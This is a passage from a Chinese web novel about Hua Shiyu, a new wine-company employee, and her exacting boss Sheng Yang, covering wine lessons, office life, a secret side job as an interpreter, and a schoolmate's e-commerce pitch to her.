一天都在屋内待着,都没注意到外面正在下雨,雨势还不见小,花诗雨也没带伞,只好站在大厦一楼门口等雨停。
等雨停的时候她也没闲着,点开手机备忘录,上面记录着她在课堂上想问却没问的问题,她先复制第一条到百度里,希望能搜索到答案,可是搜索出来的答案都不一样,她都不知道该信哪个。
以前上学时,遇到问题,她会主动去问老师,可今天她就是不好意思去问盛仰,哪怕看到其他学员都积极去问。
盛仰提着电脑包从电梯里出来,看到在下雨,就走到旁边的大厦开的咖啡间里,不像花诗雨那么傻,站在门口等。
物业走过来说:“您好女士,这雨一时半会停不了,您可以先在里面的咖啡间坐下休息。”
花诗雨小声地问物业:“坐那里去需要消费吗?”
如果需要消费,她宁愿去洗手间里的马桶上坐着,也不愿花三四十去买一杯她并不爱喝的咖啡。
物业礼貌微笑:“随您,您本就是我们的客人。”
花诗雨抬头望了眼对面敞开式咖啡间,看到盛仰坐在那刷手机,桌上只有他的电脑,没有任何喝的。她就大胆过去了。
咖啡间位置不多,一共四张小圆桌,每张桌前都坐了一个人。思考数秒,花诗雨还是决定走到盛仰那张桌子前,没必要装着不认识,礼貌问道:“老板,我可以坐这里吗?”
盛仰颔首,示意可以。
盛仰熄灭手机,朝咖啡制作台那里抬了下下巴,问道:“要喝点什么吗?”
花诗雨抱着包放在腿上,摇了摇头:“不用,今天喝太多酒了,装下不了。”
“嗯。”盛仰也是喝太多酒,所以什么都没点。
花诗雨以为他晚上真要去陪妹妹,便问道:“您不赶时间吗?”
“我赶什么时间?”盛仰放下手中的黑色手机,从裤兜里掏出另一个带钛黑色手机壳的手机。
花诗雨理解了,他是不想去参加学员们的品酒聚会而已,“我看您对他们都挺热情的,也都加了微信,还以为您会陪他们去喝酒呢。”
盛仰在手机上打着字,掀眼看她:“你觉得我为什么要花时间花精力来这当讲师?”
“为了...”花诗雨想不到什么理由,“肯定不是为了钱。”
“还真是为了钱,但不是为了讲师那点报酬。”盛仰又熄灭手机,拿在手里,问道:“我们是卖酒的,卖给谁,奚涧有给你们培训吗?”
“有的,除了零售外,还卖给一二级代理商、各种商超、免税店、酒店、酒吧、酒馆以及一些私域客户。”
“对啊,今天坐你右手边的Wendy不就是一级代理商,坐你对面的不就是开酒吧的,坐你左手边的不就是葡萄酒狂热爱好者。”盛仰说,“这些不都是我们非常重要的潜在客户,但发展成客户是后续的事情,不是我给他们当讲师的这几天。”
花诗雨还以为他是闲着没事来当讲师的,原来是来挖掘客户的,还是精准挖掘,毕竟能到这个地方专门学习葡萄酒知识的人,要么是从业者,要么是葡萄酒爱好者,都是容易达成交易的潜在客户。
老板所做的,所考虑的就是比别人多。
桌上的手机屏幕跳出微信提示,盛仰看了眼,并不着急回,指不定又是哪个学员来问他问题,转而问花诗雨:“你就没有问题要问我吗?”
上了一天课,他从未听到过她主动提问,只认真听和做笔记。
花诗雨偏头看了外面一眼,雨还在下,没有要停的迹象,想着这个时候问他问题的话,应该不会耽误他时间,便问:“真的可以吗?我其实有好多问题。”
“你报名花了钱吗?”盛仰反问她。
“花了。”
“借钱交的吧?”
自己的穷在他面前还真是暴露无疑,花诗雨都不好意思说话了,不过还不是怪他,非逼着报三级。
“借谁的?”盛仰又问。
“老家发小的。”
“那就好,别为了几块钱去做傻事。”
花诗雨小声嘀咕道:“要做傻事早就去了,还轮得到现在。”
“很好,人穷志不短。”盛仰说,“大胆一点,你是花了钱的消费者,问讲师问题是你的权益。”
花诗雨点开手机备忘录,正对着放在盛仰面前:“这些是我目前想问的。”
盛仰低眸看着她备忘录里记录的问题,还真不少,整整一页十几个问题,真是努力又好笑,“不耽误时间了,第一个开始吧。”
“嗯嗯,刚您课堂上讲的,为使葡萄酒降温,可以使用冰桶,那冬天升温呢?”
这个其实讲过,只是那个时候她刚好去洗手间了。
“帅哥,”盛仰朝服务员那边喊:“你这有高脚杯吗?可以给我一个吗?”
“有的。”服务员便找来一个空的高脚杯给到盛仰。
盛仰右手食指
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和中指指间夹着杯茎,手心握着杯肚,示范给她看:“简单一点的,直接用你的手传递温度。”
他放下酒杯,拿起桌上的黑色手机搜索视频,“高级一点的,根本不需要你自己动手,有侍酒师帮你弄好一切。”
随后,他把手机放在花诗雨面前,里面正放着一个侍酒服务的小片段,侍酒师点燃一根蜡烛,在蜡烛火光之上倾斜倒酒。
“这是侍酒服务中的一个升温方法,侍酒师也会在不同阶段先为客人品尝,判断出最佳饮用温度和醒酒时间,再倒给客人喝。”盛仰介绍说,“当然这适用于顶级葡萄酒,一般的酒没必要做这些环节。如果你打算从事这行业,又有兴趣的话,可以去考一个侍酒师证。”
“我还是先把Wset三级考上吧。”
“好,下一个问题。”盛仰看着备忘录的第二个问题,上面写着“辛辣食物适合搭配什么葡萄酒”,便抬眼问她:“你爱吃辣?”
花诗雨抿唇点头。
盛仰课上没讲辛辣食物的搭配,主要是这类搭配不多,也不是考点。
既然她想了解,盛仰也就解答:“辛辣食物本身就很刺激,非要搭配的话,可以选择单宁和酒精度都比较低的果味酒、白葡萄酒以及比较清爽可口的红葡萄酒,你可以上超市买几款便宜的果味酒搭配辛辣食物试试。”
“......”
说得好像她就适合便宜的果味酒一样。
几个问题解答下来,外面的雨也停了。
盛仰扫了眼后面的问题,对他来说都太简单了,“剩下的问题你可以周一上班的时候问问坐你旁边的Emily,她周一来上班。”
“哦,好的。”花诗雨伸手去收手机。
盛仰摸了摸口袋,习惯了手机支付,兜里都没现金,便问她:“你有现金吗?”
“多少?”花诗雨从帆布包的内袋里取出仅有的二十块钱现金,她有带十块或二十块钱现金在身上的习惯,也是怕手机没电,有现金可以买地铁票回家,“我只有二十块?够吗?”
“够。”盛仰接过这二十块钱,压在高脚杯杯底下,作为给服务员的小费。随后他拿起那黑色手机,向她展示自己的二维码,该二维码也是他展示给其他学员的二维码,“加个微信,我把钱转给你。”
花诗雨扫了下他的二维码,并通过了验证,“才二十块而已,不用还给我的。”
“一分钱也要还。”盛仰把二十块钱转了过来。
“那我不是还欠着您两万零五百嘛。”
这事她不说,他都忘记了,他当时只是随口吓唬她而已,没想到她却一直记在心上。
回去的地铁上,花诗雨特意点开盛仰的微信看,头像是一瓶葡萄酒,朋友圈背景是酒庄里的一排橡木桶,朋友圈所发的内容都是葡萄酒的宣传和活动等。
看样子这只是个工作微信,并不是他的私人微信,本来还想从他朋友圈里窥探到他与妹妹的私下生活,看来是没戏。
9. 心事
周一。
花诗雨又是第一个到办公室,一坐下就开始复习昨天课上的内容。
Sofía抱着书过来,趴在工位上看认真复习的花诗雨:“诗诗,你好认真哦。”
“没办法,为了那一万块钱不打水漂。”
“不打水漂什么意思?”Sofía虽然中文很好,但有时候不能理解一些俗语,“一万块钱放在水里吗?那多浪费啊。”
花诗雨被她逗乐,解释道:“就是不浪费的意思呀。”
“我回来了!”一个欢快的声音从她们身后蹦出来,越来越清晰,“我回来啦!”
花诗雨和Sofía同时回头看,一个微胖扎着丸子头的女生欢脱地向这跑来,怀里还抱着一袋零食。
花诗雨惊喜地问:“你就是Emily吗?”。
“对呀~~~本名就叫艾美莉,期期艾艾的‘艾’,美丽的‘美’,茉莉的‘莉’。”Emily把零食放在自己工位上,对着左右两边的花诗雨和Sofía来来回回瞧个不停,“老大眼光是真不错,招的都是大美女!”
随后,Emily一手搭在花诗雨肩上,“一个清甜可人,”另手搭在Sofía肩上,“一个明艳动人。”
花诗雨回夸:“谢谢,你也是哦,可可爱爱、漂漂亮亮的。”
Sofía:“Gracias(谢谢)!”
“跟你们比起来,我可差远了。”Emily拿起桌上的小镜子,先把脸侧怼到花诗雨脸颊边,看了看镜子里的两张脸对比,再把脸侧怼到Sofía脸颊边,同样看了看镜子里的两张脸对比,“好家伙,你俩脸小得加起来都不够我半张脸。”
花诗雨和Sofía咯咯笑,这Emily可太有意思了。
“来来来,我给你们分我从新疆带来的特产。”Emily扒拉开那一大袋零食,一包一包往外拿,“牛肉干啊,葡萄干啊,杏干啊,大红枣啊,馕啊,奶酪啊,奶茶包啊,你们想吃什么拿什么!”
还是初次见面,花诗雨和Sofía都不好意思拿,Emily就直接一包一包分给她们,“不用客气的,我昨天晚上回来的,本来还打算今天休息一天,但是想到我有两个漂亮的新同事,那我怎样都要来和你们见上一面!”
Emily热情友好,花诗雨和Sofía心无负担地接受了她的投喂。
盛仰进来,路过热闹的她们,Emily喊他:“老板!”
“嗯。”盛仰停下来,看了Emily一眼,那脸蛋被新婚滋润得越来越圆润,“按照这趋势,明年就可以吃上你娃的满月酒了。”
“哪有那么快,我老公博士都还没毕业。”Emily满脸幸福道,“不过我们会努力的。”
“行了行了,知道你有老公!”对于婚姻,盛仰没什么兴趣,也从不羡慕任何走入婚姻的人,摆摆手进了自己办公室。
Emily转头对她们说:“你们等会儿啊,我去给给老板泡杯喝的。”
Emily去茶水间泡了一杯新疆奶茶,切了一盘馕,端进盛仰办公室,放他办公桌上:“尝尝?”
盛仰把托盘移至边上:“不吃,要吃就吃现做现烤的。”
“我这馕虽然不是现烤现做的,但也是我真空包装带来的呀,我刚切的时候还是带着一次性手套的。”Emily用牙签叉了一块放自己口里嚼,“放心吧,干净得很,一点也没变质。”
“不吃!”无论怎么说,盛仰都不吃,打开电脑收邮件,投入工作。
“行吧,那我们自己吃。”既然不领情,Emily就端着馕和奶茶出去了。
花诗雨问她:“怎么又端回来了,老板不吃啊?”
“我们这个老板啊,出了名的挑剔,有洁癖。嫌弃这个不是现烤的,其实就是嫌弃不干净。”Emily把托盘放到自己工位上,叹气道:“唉,我买的那家可是当地最出名的店,我排了很长的队才买到的,为了途中不被污染,我是里三层外三层地包裹着带回来的。”
花诗雨捏了一块放嘴里细嚼慢咽着,睁着亮亮的眼睛夸奖道:“真好吃,外皮酥脆,内里松软,唇齿间都是油香和奶香。”
“还是你懂得吃,也会说话,不扫兴。”自己千里迢迢带来的馕,虽然被老板嫌弃,但是被新同事认可,Emily还是开心的,“哼,他不吃我们自己吃。”
“那我给他送包牛肉干吧。”Emily瞧着空空的袋子,所有的都分给新同事了。
花诗雨便从自己书上退回去一包:“喏,这有。”
Emily接过牛肉干,眼睛瞄到花诗雨Wset教材是三级的,“你考三级啊?”
“嗯嗯,直接考三级。”
“你是葡萄酒相关专业的吗?”Emily说,“我都只考了二级,三级还是有难度的。”
“不是,在此之前我都没接触过葡萄酒。”花诗雨余光瞥向办公室里的盛仰,轻声说道:“老板要求我考三级,不然不能转正。”
“我去,他怎么这样,以前也没见他要求新员工考三级才能转正啊。”Emily晃着包牛肉干转身要去盛仰办公室,“我去问问他。”
花诗雨连忙拉着她的胳膊:“Emily,不用问,不用问,我自己也想考,否则老板再怎么逼我也没用。”
这怂样,Emily都听笑了,摸摸她的头:“妹妹,不用怕他,他就是挑剔了点,说话直接了点,其他没毛病。况且他也是为CR打工的,年底还要被我们打分呢,不会对我们太苛刻的。”
花诗雨似信非信地点点头,反正目前她是看不透盛仰这个人。
Emily走进盛仰办公室,随手带上了门,牛肉干放他办公桌的小篮筐里,“不吃馕,那就吃包牛肉干吧,给你放这了。”
盛仰“嗯”了声,一心回“邮件”,顺带问一句:“Tanya什么时候回来?”
Tanya是公司的行政,盛仰给她加了点工资,让她兼顾自己的秘书,帮他干点杂活,可是上个月她回家生孩子去了。
Molly本想给他招个秘书,他不要,他不喜欢天天被人围着,只要有人帮他做些简单的文职工作和端茶倒水就行。
“还早着呢,她明年才休完产假。”Emily提议说:“让Molly招个实习生帮你打杂吧。”
“算了吧,实习生还得手把手教,累。”盛仰抬眸望了Emily一眼,“你来吧。”
“不要,不要给我增加工作量。”Emily本地人,出来打工纯粹是为了打发时间和交社保,对升职加薪兴趣不大,“你要不让新员工帮你干点活?也好让她们早日熟悉公司。”
“Sofía不适合。”
“花诗雨适合呀,她看起来就真诚积极。”
盛仰稍看了一眼外面的花诗雨,是挺积极,端端正正坐在电脑前工作,不像Sofía一边吃东西一边打字,但是想起那天的PPT,他还是摇头。
“老板,我觉得你对花诗雨要求有点高了,一来就叫人家考三级,万一没考过,工作没转正,钱也白花了。”Emily之前就听奚涧说招了一个很漂亮但家庭条件一般的毕业生,再通过刚才与花诗雨的交流,Emily难免心疼起这个外地来的小姑娘,“人家很不容易的,稍微宽容点嘛。”
“我这么做总有我的道理,她若觉得我为难她,自己走就是了,又没人拦着她。”盛仰看了下电脑屏幕右下角的时间,赶人:“你先出去吧。”
“好的吧。”
Emily在工位上坐下,Sofía说:“Emily,你和老板
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的关系看起来很好,像老朋友一样。”
“他是我远房侄子,他带着我进公司的。”
花诗雨讶异:“远房侄子?”
“对呀,隔了好多层的姑侄关系,当初我待业在家,我妈嫌我没事干,打听到他要回国当领导了,就拜托他带我来上班,我就跟着他一起进公司了,把我塞在市场部。”Emily自我调侃道:“还是当关系户好,比我之前在别的公司打工舒服多了。”
Emily在米兰读了两年本科、两年研究生,外加一年实习,拿到申根国永居后就回国了,在意大利一奢侈品中国分公司市场部干了两年,觉得压力太大就辞了。盛仰便带她一起来这工作。
Sofía羡慕道:“真好啊。”
“走啦,老大说今天要开会。”Emily拍拍她俩肩膀,“市场部门难得单独开会,我们先过去会议室调试吧。”
Emily领着俩新员工先到会议室,奚涧后脚就跟进来了。
奚涧坐主位主持会议,三女生坐他右侧一排,左侧一个人都没有。他望着这三位女将,感叹道:“咱们市场部还都是女生啊!”
“不好嘛,女性撑起一片天。”Emily看了看身旁的两位新来的员工,“人有点少倒是真的。”
奚涧安慰说:“没事,Tina休完产假就会回来。”
Emily催他:“老大快讲吧,闲话等会说。”
奚涧脾气好,下属说些玩笑话他都不会介意,快速介绍了一下他们市场部的主要工作,考虑到他们部门新员工多,他让Emily带俩新员工把市场部门的工作都熟悉一遍。
盛仰不放心,路过的时候推门进来了,抱胸站在三女生对面,对奚涧说:“把你们部门下半年计划都捋一遍。”
“好的。”奚涧转身站起来,手持PPT播放笔,对着后边的PPT边播放边说:“下半年我们主要围绕三件事情去做。一是新品的推广;二是花溪村度假酒店的酒水合作;三是明年有一款非常重要的新品要推出,需提前规划、布局。”
“先说第一件事。”奚涧看向花诗雨说,“下半年我们只有一款新品,就是你上次喝的那款醇白。严格来讲,它不能叫新品,因为它已经在欧洲卖过几轮,还有些库存需要在我们这边消耗掉。”
奚涧向新员工介绍常规的推广活动:“推年轻酒,我们一般是举办几场小型品鉴会,邀请代理商、红人以及葡萄酒爱好者。同时开快闪店吸引客户线□□验。”
盛仰突然看着花诗雨说:“你去做个和醇白类似产品的竞品调研吧,对明年的新品上市也有帮助。”
花诗雨点点头:“好的。”
“第二件事,花溪村度假酒店的酒水合作。”奚涧问盛仰:“老板,你上次去花溪村度假酒店那里有什么收获吗?”
盛仰还看着花诗雨:“收获了一瓢倒霉水,算吗?”
奚涧打趣道:“那蠢大学生的一瓢水能让你记一辈子了。”
花诗雨默默垂下头去,在笔记本上写字,假装很忙。
盛仰不多提那件事,对奚涧说:“花溪村度假酒店的老板是花东,他不止这一处酒店,我们眼光不要只放在这一个酒店上。”
花诗雨忽然抬头,问他们:“是花朵的‘花’,东南西北的‘东’吗?”
奚涧说:“是的,和你同一个姓,好像也是你们安西的,你不会认识他吧?”
花诗雨忙摆手:“不认识,我怎么会认识这种大老板呢。”
奚涧也觉得花诗雨不可能认识到那种人物,没再多问,继续讲其它内容了。
盛仰看了看花诗雨,总觉得这个笨乌龟去那里有缘由,花溪村度假酒店均价六万一晚,也不是年轻人喜欢打卡的网红地,她这么穷的人怎么可能会想到去那里玩。
10. 关心
周日那天,Wset培训课的最后一天。
中午一下课,花诗雨就急急忙忙收拾东西,跑到盛仰面前,说道:“老师,我下午请个假。”
“去哪?”盛仰想不到她这种又穷又努力的笨乌龟竟然也会请假,“我有必要提醒你,半天课程七八百,还有十几款酒的品鉴,钱退不了,酒也弥补不了,你想清楚。”
花诗雨肯定不会告诉他自己接了一个陪同翻译的兼职,只是迅速而坚定地点头:“嗯嗯,想清楚了,后果我自己承担,跟您没关系。”
盛仰也不强求,摆了下手,示意她走吧。
要走之际,花诗雨转过身来:“对了,我还要跟您说一下,周一和周二我申请了居家办公,周三才到公司。”
“不用和我说,你跟奚涧讲了就行。”对于一般员工的请假和居家办公,盛仰从不过多管束,只要他们的直属领导清楚就行。
“好的。”说完,她就跑了。
花诗雨一路跑到地铁站,坐了近两个小时的地铁才到机场,机场很大,她又是第一次来,硬是绕了一大圈才找到相应的接机口。
在她叉腰大口喘气时,身旁举了张牌子的男人转过头来喊她:花诗雨?”
“嗯?”花诗雨看了眼他举的牌子,正是她要陪同翻译的两个智利男人的名字,这才反应过来:“您是马总?”
“不用这么客气,叫我马杨就可以,马到成功的马,杨梅的杨。”
“还是叫马总吧,毕竟我是您雇来的兼职。”花诗雨问:“不过您怎么认出我来的?”
“你朋友圈发过呀。”
花诗雨想了下,自己很少发朋友圈,更别说发自己的照片了,最近一年就只发了张大学班级的集体毕业照,“我就发了张合照而已,班上三十多个女生,您还能认出我来?”
马杨喜溢言表,直白夸赞:“你太漂亮了,照片上那么多女生我一眼就注意到了你,没想到你就是花诗雨。”
花诗雨听着有些不好意思,转移话题:“客户到了吗?”
“听说飞机延误了。”
花诗雨抚了抚胸口顺气,“我还以为自己要迟到了。”
“没事,就算迟到了一会也没关系。”马杨取下双肩包,从里面掏出一瓶水拧开递给花诗雨,“喝点水吧,不知道你喜欢喝什么就没提前买饮料。”
马杨要是知道他一眼就注意到的人是花诗雨,他怎么样都会提前买杯咖啡或者奶茶什么的。
“谢谢。”花诗雨接过并喝了几口,确实赶路赶渴了。
“其实我也是广安外国语大学的,比你早毕业六年吧,国际贸易专业。”
“怪不得您都没问我几句就直接给我这个机会,原来是学长呀。”
“嗯,还是老乡呢,你隔壁县城的。”马杨忍不住套近乎,“以前从我家那边开车去过你们县城,一个小时就到了。”
又是学长,又是老乡,花诗雨对这马总的亲切感一下就上来了,“真是太巧了。”
“我也觉得巧啊,你现在是在哪上班呀?”
“一家卖葡萄酒的公司。”
“代理商?”
“不是,西班牙酒庄,叫CieloRojo,简称CR。”
“哦,我听过,喝过他们的红酒。”马杨问道:“薪资怎么样?”
“刚入职,一般吧。”
“适应吗?”
“以前几乎不了解葡萄酒,接触了才发现有太多东西要学,还在适应中。”
“其实你学语言的,对外贸应该上手快。”马杨又取下包,拿出自己公司的简介给她看,“我一毕业就从事外贸行业,现在自己在干,有三四年了,公司卖陶瓷产品,你可以看下。”
“好的。”花诗雨接过,翻看,中英西三语的册子,产品远销欧洲和拉丁美洲,“看起来很厉害。”
“还行,小公司,十来个员工。”
大城市,三四年,十来个员工,应该混得还不错。花诗雨羡慕道:“真厉害,希望我也能多多赚钱。”
年轻的花诗雨面对是自己老乡的学长,对钱的渴望也不隐藏。
马杨看她就像看到了当年的自己,“客人应该快到了,有空的时候我一定给你好好聊聊。”
“嗯嗯。”
接上客户,他们在外面吃了顿饭。考虑到客户舟车劳顿,马杨准备让客户先回酒店休息,明天一早再出发到安西德旺。客户会简单英文,能够自行办理酒店入住,马杨就让花诗雨先回去了。
马杨英文好,西语才刚学习中,员工大多只会英语,刚招了一个西语业务员,但那名业务员口语还差了点,所以他只能对外招兼职陪同翻译,刚好就碰上了花诗雨。
花诗雨也没让马杨失望,她提前熟知了陶瓷相关的词汇,所以第二天在德旺窑厂时,她都能流利翻译,没卡一个词,客户对她很满意。
傍晚,他们在当地的一家酒店办理入住。花诗雨在给客户翻译时,手机进来一个电话,是盛仰打过来的微信电话。
老板的电话她不敢不接,与客户打了个招呼,她便跑一旁接电话去了。
一接通,盛仰就质问:“今天一天跑哪去了?”
“我...”花诗雨心虚得不敢言,她没跟任何人说自己跑外地兼职了,只跟公司报备了自己这两天居家办公,想着晚上有时间了就把工作补了。
“问你话呢?”盛仰说话声音比往常都提高了几个分贝,明显生气了,“我从早上开始就发邮件给你,让你把竞品调研报告提交上来,你却不回消息,不接电话,什么意思?”
今天奚涧休了年假,盛仰着急要调研报告,只能直接来问花诗雨,结果一直联系不上她人。
花诗雨吓得说话都不利索,“我...我...我没看到邮件,也...也没看到消息,电...电话我以为是广告推销。”
她这一天根本没有时间打开电脑。异地流量她也不敢一直开,就没怎么看手机。手机设置的震动,在窑厂听不到,等看到时,回拨过去,没人接,她以为是广告推销,也没再理会。
“你是居家办公,不是放假!”盛仰厉声道,“如果有事,你可以说,我可以让别人把你工作
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做了,但你连招呼都不打一声,找你你也玩消失,这是你的工作态度吗?工作时间的一整天都找不到你人,我差点让Molly去找你,你知道吗?”
CR曾经有个员工居家办公,也是一直没回消息,盛仰担心员工出事,就派Molly就上那员工家查看,结果还真是出事了,那员工因为身体疾病晕倒在家,幸好Molly及时叫了救护车。
盛仰担心同样的事情再次发生。
内疚、心虚和害怕三种心情交织,充斥花诗雨整个大脑,眼泪跟着溢出,语无伦次地道歉和解释:“对...对...对不起,其...其实我上个星期就把调研报告做好了,但是格式方面我不满意,我怕像上次PPT一样,想今天再好好修整一下再发给你们,但...但是我白天在...”
“在干吗?”
“在外地做陪同翻译,对不起,我知道这样不对。”情绪到了头,花诗雨也还学不会隐瞒,哽咽道出:“我欠了你的钱,欠了朋友的钱,还背了助学贷款,我想尽快把钱还了,所以就...就...”
电话那头突然安静了,好一会,他才缓缓说道:“好,我知道了,明早九点半之前把调研报告发过来。今天和明天算请假,下不为例。”
说这两句话时,他的语气比前面的质问平和了许多,但还是一下就把电话挂了。
看到花诗雨把电话挂断了,马杨才走过来,关心问道:“怎么了?是遇上什么事情了?”
花诗雨抹干眼泪,恢复之前的微笑:“没事,到省内了,想家了。”
“那要不陪同翻译完,你直接回趟家?”
“不了,还得回去上班呢。”花诗雨向前台走去,“客户办好入住了吗?”
“没有,前台打不出他们名字的重音。”
“那我来吧。”
花诗雨便帮前台输了客户的名字重音,前台把房卡给他们:“三位男士房间在四楼,花女士房间在三楼。”
花诗雨拿着房卡准备和他们一同上楼,刚走到电梯口,盛仰电话又来了。
花诗雨让他们先上去,自己走到一旁接电话,心里也做好了挨骂的准备,小心翼翼问道:“我...是不是又犯错了?”
“你现在是在酒店吗?”上一个电话里,盛仰隐约有听到前台给客人办理入住的声音。
“是的。”
“那有送他们上楼吗?”
“额?”花诗雨不明白他为什么这么问,“本来是一起上楼的,然后您电话打过来了,他们就先上去了,我在这接电话。”
“好。在外给人做翻译、见客户,不管客户什么身份,不管客户看起来有多正经,到酒店了,一定不要送他们到房间里,要你帮助,你也只让他们找工作人员。任何时候、任何地点都不要陪他们喝酒,晚上不要提供翻译服务。”盛仰一气呵成地交代,“千万不要为了几块钱把自己赔进去了。”
花诗雨知道要好好保护自己,但是没想这么细致,如果客户让她帮忙,她可能真会去。
正当她心生暖意要感谢时,他就把电话给挂了。
11. 机会
一回房间,花诗雨就把电脑打开,开始审核自己上周就做好的调研报告。
工作进行到一半时,马杨发消息过来,说是客户想去附近的集市逛逛,吃个夜宵什么的,想邀请花诗雨一起。
想起盛仰交代的话,花诗雨婉拒:【学长,不好意思,我今天有点累了,想要休息。】
马杨:【那行,你好好休息。】
花诗雨把手机放一边,继续工作,反复修改数次,直到晚上十点,她才改到自己满意的程度,并把调研报告发出去了。
洗完澡,花诗雨把酒店的床单、被罩和枕套都换成了自己带来的。她有个习惯,在酒店过夜一定要换上自己的床单、被罩和枕套,为了干净,也为了心里的那份踏实感。
睡前,她躺在床上复盘今天的事情。
第一,不能为了一天工资而趁居家办公时出来兼职,这样既影响工作也不诚信,需要向老板郑重道歉;
第二,困难是自己的,需要自己解决,而不是在别人面前哭哭啼啼,显得自己既脆弱又蠢。
复盘完,她点开与盛仰工作微信的对话框,第一次给他发去信息:
【老板,对不起,我不该欺瞒您,这样的事情不会再发生。】
【欠您的钱在半年之内会还给你,今天让您见笑了。】
盛仰看到了,但只是看了一眼就退出了。
**
次日下午,返程。
花诗雨送他们到酒店大厅,两天半的陪同翻译任务也随之结束。
花诗雨要走时,马杨喊住她:“花诗雨,你不要工资了?”
“要呀,你有空转我微信就行。”花诗雨对马杨还算信任,不觉得学长会坑害学妹。
“你先别走,”马杨掏出手机,看了眼时间,刚好到饭点了,“你帮了我大忙,晚上我请你吃个饭吧。”
花诗雨犹豫了一下,如果是不熟悉的甲方,她不会去,但是眼前这位既是学长又是老乡,不能不给面子,于是应道:“好的。”
马杨带她去了一家安西餐厅,门口两侧是两个大瓦罐,门顶则是一排辣椒装饰,颇有安西特色。
两人在一四方位桌前坐下,马杨把菜单推给对面的花诗雨:“你来点吧。”
“没事,学长你来点吧。”花诗雨把菜单推回去,“反正咱俩都一地方的,能吃到一块去。”
“你说得对,那我就随便点了,这餐厅我常来,每道菜都做得不错。”马杨很熟稔地把菜点了。
花诗雨提起茶壶先给马杨倒了一杯茶,再给自己倒。
“谢谢。”马杨拿起茶杯抿了口,随后又拿起桌上的手机给她转钱,“微信给你转了工资。”
花诗雨点开看了下,他转来八千,她收了,但又转回去三千,“一天两千,两天半只要五千了。”
“你翻译得这么好,多给你三千是应该的。”
“不,说好多少就多少,不能不劳而获的,而且今晚你还请我吃饭了。”
马杨没撤,收了她转回来的三千块,问道:“你在葡萄酒公司上班的薪资如何?”
花诗雨也不隐瞒,手指比划个八,“才八千,还是税前。”
“很好了,我记得我在上海的第一份工作底薪才三千五,做了大半年才开了一单。”
“可是你一单就有好多提成呀。”花诗雨作为小语种专业的学生,了解过学长和学姐们的就业情况,有很多做外贸去了,做得好的,一单能吃半年。
马杨也不藏着掖着,袒露道:“那单我拿了六万的提成。”
“哇!”花诗雨睁着亮亮的眼睛,毫不掩饰的敬佩和羡慕,“太厉害了吧!”
“我到现在都还记得第一单装柜出货时的那种激动心情,高兴得几晚没睡,就算我现在一单有几十万的利润也比不过当时的那个心情。”
“要我,我只会比你更激动。”
服务员依次把菜端上来----莲花血鸭、梅干菜凤爪、藜蒿炒腊肉、鱼头豆腐、炒粉、瓦罐汤等,都是花诗雨最爱的家乡味。
马杨把菜都稍稍移到她的面前:“吃吧,你一定很想念这一口。”。
“确实。”花诗雨第一筷就去夹了炒粉,“在这里吃面都吃腻了,超市买的米粉也跟我们老家的不同。”
“我每年过年回家,我父母都会把我的后备箱塞满,什么米粉啊,腊味啊,各种家乡味,巴不得都让我带到这来。”
“真好呀!”
吃着吃着,马杨忽然问:“花诗雨,有没有兴趣加入我们?”
“嗯?”花诗雨停下吃食,抬头看马杨,“做外贸吗?可是我也没有这方面经验欸。”
“我敢保证,凭你的努力上进,跟我做外贸一定会比你现在赚得多。”马杨提起茶壶为花诗雨添茶,“我手底下有七八个外贸业务员,业绩最差的那个,也是个刚毕业不到两年的女生,她去年一年拿到了十几万的提成,更别提老业务员了。”
马杨说得很真,不像是在夸大其词,花诗雨有些心动。可下一秒,她脑子里莫名出现了盛仰那张严厉的脸和昨日对她的叮嘱,盛仰可能会对她苛刻一点,但不像是会害她的人。
更何况,潜伏在盛仰手底下干活可以了解到妹妹的动态。
花诗雨便说:“我目前还是想留在现在这家公司,毕竟都在学习葡萄酒知识了,不想半途而废。”但她也不想把自己的后路堵死,“万一我干不下去了,我就来投奔学长,希望那个时候学长不要嫌弃我哦。”
“哪里会,随时欢迎。”
两人吃着闲聊,聊关于母校的一些事情,聊关于家乡的发展,彼此共鸣很多,亲切感也倍增。
吃得差不多时,花诗雨抽了张纸轻轻擦拭嘴唇,“学长,今天谢谢你请我吃饭。”
“没事,应该的。”马杨一边伸手招服务员,一边问花诗雨:“想不想赚钱?”
“想啊!”跑出来翻译不就是为了赚钱。
“靠给别人打工是赚不了多少钱的,要自己做。”
花诗雨当然知道了,可她没本钱,没机会,也觉得自己没那个能力。
马杨让服务员把餐桌收拾干净,然后取出电脑放桌上,“既然你不想过来全职做外贸,那我给你讲讲跨境电商吧。我同学夫妻俩在深圳做亚马逊,几年时间就买了深圳的大平层。”
听到这个,花诗雨再次两眼放光,怎么别人的钱都这么好挣。而且这个跨境电商她也略有耳闻,她有好几个同学都去深圳做跨境电商了。
“目前这块还没饱和,还有很大机会赚钱。”马杨点开自己亚马逊的店铺后台,向她展示,“看吧,这是我们的店铺后台,去年才开起来的。”
花诗雨看着那页面,虽然不怎么看得懂那些专业的东西,但那八十万美金的营业额一下引起了她的注意,不禁问道:“一年营业额就达到了八十万美元啊?”
“嗯,对啊,我还只是去年刚接触的亚马逊平台。”
“那净利润呢?”
马杨迅速在脑子里核算了下,随后回道:“净利润差不多八十万吧,百分之十五的利润率。”
“八十万!!”花诗雨再次震惊,“够我打好多年工了!”
马杨能理解花诗雨这种还没见过什么钱的样子,他自己也是这样过来的,“学着干这个吧,只要不懒,稳赚不赔。”
“只要做了,我肯定会花时间的,就是该怎么入手呢?”花诗雨询问:“前期肯定也需要投入吧?”
“那当然,开店容易,填些资料就行。”马杨介绍说:“但是你做之前就要找好源工厂,要把货物先运到海外仓库,这里面的门道就多了。”
花诗雨迫切求教:“然后呢?”
“跟我一起做啊,就卖德旺的陶瓷品。”马杨说,“我们这两天拜访的窑厂可以供货,每一步的操作我都可以教你,我没时间的话,我会让我员工教你。”
“那前期投入成本对我来说是个问题。”对花诗雨来说,最大的问题就是钱了。
“我给你,前期投入五万就差不多了。”
五万对别人来说是修理两次手表的费用,但对花诗雨来说,是小学一年级到大学四年级的所有
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学费,是她十几年的教育费用。
她犹豫了,战术性捏起水杯喝水,怕失败了就还不起这个钱。
马杨看出了她的顾虑,笑道:“我给你,不用还,你赚的钱也都归你自己。”
花诗雨忙摇头:“不行的学长,我不能接受你的帮助又拿你的钱,而且我很怕我做不成功。”
“相信我,不会失败的,就算失败了也没关系,不就是五万块钱嘛。当初我创业,也多亏了我的前女友...”似乎说漏嘴了,马杨连忙改口:“我的前老板,也是我们那的人,在我创业期间帮了我不少忙,不仅借我钱,还给我介绍了不少客户,我很感谢她。现在看到你,我也想这样帮助你,毕竟我们有缘分,还是校友和老乡。”
